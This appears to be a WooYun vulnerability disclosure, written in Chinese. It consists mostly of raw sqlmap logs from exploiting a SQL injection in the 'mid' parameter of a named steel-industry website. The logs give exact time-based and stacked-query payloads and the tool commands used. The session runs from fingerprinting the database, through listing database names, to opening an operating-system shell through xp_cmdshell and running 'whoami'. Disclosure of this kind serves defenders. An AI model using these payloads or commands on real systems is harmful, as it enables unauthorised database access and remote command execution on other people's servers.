WooYun.org

中国钢铁现货网
点:http://baike.gtxh.com/gtbk.aspx?mid=9c71fe4a9321440483adb38cd2ee8aca
sqlmap identified the following injection points with a total of 166 HTTP(s) requests:
---
Place: GET
Parameter: mid
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: mid=9c71fe4a9321440483adb38cd2ee8aca'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: mid=9c71fe4a9321440483adb38cd2ee8aca' WAITFOR DELAY '0:0:5'--
---
[14:51:39] [INFO] testing MySQL
[14:51:39] [WARNING] it is very important not to stress the network adapter's bandwidth
during usage of time-based queries
[14:51:39] [WARNING] the back-end DBMS is not MySQL
[14:51:39] [INFO] testing Oracle
[14:51:40] [WARNING] the back-end DBMS is not Oracle
[14:51:40] [INFO] testing PostgreSQL
[14:51:40] [WARNING] the back-end DBMS is not PostgreSQL
[14:51:40] [INFO] testing Microsoft SQL Server
[14:51:50] [INFO] confirming Microsoft SQL Server
[14:52:10] [INFO] adjusting time delay to 3 seconds due to good response times
[14:52:16] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[14:52:16] [INFO] fetched data logged to text files under 'D:\SqlMap?Python?\Bin\output\
baike.gtxh.com'
[*] shutting down at 14:52:16
D:\SqlMap免Python版\Bin>Sqlmap.exe -u "http://baike.gtxh.com/gtbk.aspx?mid=9c71fe4a93214
40483adb38cd2ee8aca" --dbs
[*] starting at 14:52:27
[14:52:28] [INFO] resuming back-end DBMS 'microsoft sql server'
[14:52:28] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://baike.gtxh.com:80/Html/gtbk_9c71f.html'. Do you wan
t to follow? [Y/n] n
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: mid
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: mid=9c71fe4a9321440483adb38cd2ee8aca'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: mid=9c71fe4a9321440483adb38cd2ee8aca' WAITFOR DELAY '0:0:5'--
---
[14:52:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[14:52:29] [INFO] fetching database names
[14:52:29] [INFO] fetching number of databases
[14:52:30] [WARNING] time-based comparison needs larger statistical model. Making a few
dummy requests, please wait..
[14:52:31] [WARNING] it is very important not to stress the network adapter's bandwidth
during usage of time-based queries
2
[14:53:03] [INFO] adjusting time delay to 1 second due to good response times
0
[14:53:06] [INFO] retrieved: dh
[14:53:28] [INFO] retrieved: gtxh_Analysts
.
.
.
等等，一共20个数据库~
慢 就不跑了。
D:\SqlMap免Python版\Bin>Sqlmap.exe -u "http://baike.gtxh.com/gtbk.aspx?mid=9c71fe4a93214
40483adb38cd2ee8aca" --os-shell
[*] starting at 15:27:41
[15:27:42] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:27:45] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://baike.gtxh.com:80/Html/gtbk_9c71f.html'. Do you wan
t to follow? [Y/n] n
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: mid
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: mid=9c71fe4a9321440483adb38cd2ee8aca'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: mid=9c71fe4a9321440483adb38cd2ee8aca' WAITFOR DELAY '0:0:5'--
---
[15:28:08] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[15:28:08] [INFO] fingerprinting the back-end DBMS operating system version and service
pack
[15:28:08] [WARNING] time-based comparison needs larger statistical model. Making a few
dummy requests, please wait..
[15:30:45] [WARNING] it is very important not to stress the network adapter's bandwidth
during usage of time-based queries
[15:33:02] [WARNING] unable to fingerprint the underlying operating system version, assu
ming it is Windows 2003 Service Pack 2
[15:33:08] [INFO] testing if current user is DBA
[15:33:38] [INFO] checking if xp_cmdshell extended procedure is available, please wait..
[15:34:02] [INFO] adjusting time delay to 4 seconds due to good response times
[15:34:02] [INFO] xp_cmdshell extended procedure is available
[15:34:33] [INFO] testing if xp_cmdshell extended procedure is usable
[15:35:49] [INFO] going to use xp_cmdshell extended procedure for operating system comma
nd execution
[15:35:49] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
...
ok